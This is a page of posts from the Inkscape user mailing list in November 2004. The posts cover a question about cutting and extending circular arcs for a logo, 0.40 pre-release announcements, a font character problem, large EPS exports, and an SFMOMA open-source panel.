I have a logo I'm trying to reproduce in inkscape. The logo is based on two concentric circles, with segments removed and curves extending inward and outward around the circles. One extension extends both ways, so some sort of T-intersection with the curve will be necessary, or a second extension that runs into the first, collinear at the join. I've done a little experimenting, and I think I can eventually cut a circle-like path to remove a quarter segment, but then it isn't a circle anymore, with any node movements distorting the curvature. If possible, I want to lock the circular segments to their original curvature and center point. The segments to be removed are less than a quarter, so the endpoints need to move to less of an arc along the circle path. Here's an example of what I need to do (the logo doesn't look like this, but the cut-curve characteristics are similar) L R L xxxxxxx R L xxxx xxC R L xxx xx R L xx xx R L x xx R L x xxxx R L x <-xxxx R L x xx1xxx2xx R L x xxx C xx R L x x x x R L x <--xx x x R L x x x R L x x | R L xx xx V R L xxx xxx R L xxxx xxxx R L xxxxxxx R L R The curve x's represent the actual line drawing. The C's represent the points at which I would like to cut the circle and have the freedom to add bezier extensions. Extension '1' can have a smooth curving joint with the cut point. Extension '2' only need meet extension '1' collinearly, and more or less at a right angle to C. The L's and R's are only intended keep the mail client from mangling (hopefully). They line up on the left and right columns, respectively. On the second of the two circles, the two inward extending curves will have to be joined in a smooth intersection after some bezier curvature. Overlaying background-color circles to represent cutout arcs would be less than optimal, since I may want to do curved endcaps and drop shadows or other filtering (when supported) on the unified curve. Can anyone suggest to the newbie a good way to make a stable, easily manipulated construction of the above curve in inkscape-cvs? Thanks.

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0.40pre2
by Ted Gould 20 Nov '04

20 Nov '04

With more layers functionality, additional bug fixes, calligraphy tool improvements and more the 0.40 release is starting to shape up. This has prompted the 0.40pre2 release to be created. Please take a look at this release and help us find more bugs! If they're not found, they can't be fixed. http://sourceforge.net/project/showfiles.php?group_id=93438&package_id=9911… Thanks, Ted PS - Binary packagers -- if you could please try to build a test binary that would be appreciated. We'd also like to put it into the file tracker, I can help you with that if you need.

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test ignore
by vellum 18 Nov '04

18 Nov '04

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Font changed look
by Pedro Blom 17 Nov '04

17 Nov '04

Hi. I'm using Inkscape 0.39 on Mandrake 10.0. I have been using a font called Foxy 1 to make buttons for'my website, and as the site are in Swedish I am using åäö a lot. There was no problem untill today when suddenly, all the special carracters (ÅÄÖåäö) had changed to some other strange caracters. How can I fix this, so that I can continue to use ÅÄÖ It seems to be a problem only with this font. I tryed it in Open Office and it worked fine. /Pedro

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Re: [Inkscape-user] Large EPS filesizes
by Trent Buck 17 Nov '04

17 Nov '04

For the benefit of the list, I'll explain what the problem was: Craig had several images in one SVG, and printing to PostScript was exporting all of them, not just the parts on the page. > One thing I've noted, however, is the useability of the program is > reduced by only having one SVG image within an Inkscape session. For example, > my diagrams are quite similar to each other, so I copy/paste objects from > one diagram to another. By splitting into multiple files, when I want to make > a change to one image, that will generally cascade into other images, requiring > instance of Inkscape open for each SVG image. Perhaps it would be more useable > by having a Tabbed feature in Inkspace for each open SVG file, allowing easy > modification to multiple SVG images. When exporting to PNG, you can choose to the export selection. Craig, I suggest you submit an RFE to add this functionality to the PostScript (i.e. printing) export also. -trent

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Design
by Claus Cyrny 16 Nov '04

16 Nov '04

Hi all, I made just rough sketch of a somewhat futuristic car using Inkscape 0.37. You can take a look here: http://home.arcor.de/ccyrny/design/car_03.jpg Greetings, Claus

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[Announcing] SFMOMA: The Open-Source Paradigm, Thursday, November 18, 2004
by Jon Phillips 16 Nov '04

16 Nov '04

Hey all, I wanted to alert you to a panel I'm on next week in San Francisco. Needless to say it is going to be major PR in the art world for Inkscape and Open Clip Art Library. If anyone is in the area, it would be a great event to attend. I'm also excited because the number 2 person at creativecommons (under lessig) is on the panel. Please forward the following PR below: ### On Thursday, November 18, 2004, SFMOMA (www.sfmoma.org) presents: The Open-Source Paradigm ======================== A Panel Discussion & Reception Moderated by Linda Jacobson, featuring new media professor Greg Niemeyer (http://art.berkeley.edu/niemeyer/) from UC Berkeley, artist-developer Jon Phillips (www.rejon.org), and Creative Commons (www.creativecommons.org) assistant director Neeru Paharia. 7:00 p.m. in the Phyllis Wattis Theater Visual artists and sound artists who create with digital tools have started to embrace the community-based, open-source software approach that's revolutionized the computer industry. As a reaction to the restrictions of intellectual property rights, the Open Source Initiative provides free computer software via the Web and allows anyone to contribute software as long as the underlying source codes are visible and shared. Explorations of the creative applications of open-source promise to expand its use beyond software development. This panel discusses the conceptual basis for the open-source movement in the arts, its history, and legal issues and presents artistic projects incorporating open-source technology. A reception in The Schwab Room follows the program. $12 general; $8 SFMOMA members, students with ID, and seniors. Tickets are available at SFMOMA (with no surcharge) or online. This event is presented in collaboration with SMAC (San Francisco Media Arts Council). Please visit www.sfmoma.org for press coverage of previous SMAC/SFMOMA event on videogames' impact on artists featuring pioneers Will Wright and Nolan Bushnell -- Jon Phillips KOREA.PH.010.3140.7483 USA.PH.858.361.2811 jon@...87... http://www.rejon.org Inkscape (http://inkscape.org) Open Clip Art Library (www.openclipart.org) CVS Book (http://cvsbook.ucsd.edu) Scale Journal (http://scale.ucsd.edu)

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woo hoo!
by Ben Crowell 16 Nov '04

16 Nov '04

At the risk of making a post without any actual content, I just want to thank the Inkscape developers for all their hard work. Adobe Illustrator was my only reason for continuing to maintain a Mac, and I'm hopeful that I will soon be living my whole life the way God intended, with open-source software :-) It's really impressive that you folks have been able to maintain the kind of attention to craftsmanship that was the hallmark Sodipodi, while really putting the pedal to the metal in terms of features. BTW, does anyone have an ETA for 0.40? I'm running 0.38 on FreeBSD, and apparently the maintainer of the FreeBSD port is waiting for 0.40 before putting a new version in the FreeBSD ports system, since 0.39 was broken on FreeBSD. (I hear the Debian maintainer created a package from the latest prerelease version...? -- hint hint ;-)

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Large EPS filesizes
by Craig Pearce 16 Nov '04

16 Nov '04

Hi Trent, Thanks for the response. The SVG images I created (about 15) were all done in Inkspace, and saved into a single inkspace .svg file. The .svg is only 900KB... however when using inkspace to save each of the 15 images to EPS, they each take about 8MB. I'm not importing any raster images. I could export SVG images to PNG, then use imagemagic convert or gimp to go back to EPS however the resulting image is blocky due to vector->bitmap->vector process. I find it strange that an Inkspace-created SVG takes so much space in EPS when they are both vector based. Kind regards, JoeBlow Quoth Craig Pearce on or about 2004-11-15: > When I indivually place each image in the page, change > page size to match image size and print direct, I > choose various resolutions such as 72DPI, 300DPI etc. > The output filesize is the same no matter what DPI > setting I choose. PostScript and Encapsulated PostScript are vector-based formats, like SVG. Vector objects will simply be transformed, so the only change between DPI sizes will be the transformation matrix. PostScript can include raster images, but probably they also simply have a transform applied. > The issue is the size of the file, it is common for the > file to be 7MB which results in the latex-generated > postscript document being too large for me to email. Some suggestions are: * When importing raster images (e.g. JPGs), first reduce the resolution in e.g. the GIMP. * Look for ways to simplify the design of the vector parts. * You can import raster images directly into LaTeX, rather than going through Inkscape / SVG (the graphicx package). HTH -trent

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0.40pre3
by Ted Gould 16 Nov '04

16 Nov '04

Hey everyone, I'm pleased to announce that 0.40pre3 is now in Sourceforge for your testing pleasure. It seems that the major crash bugs are not present at this point, this may be the last pre-release. Get your bugs in now! https://sourceforge.net/project/showfiles.php?group_id=93438&package_id=991… Enjoy, Ted

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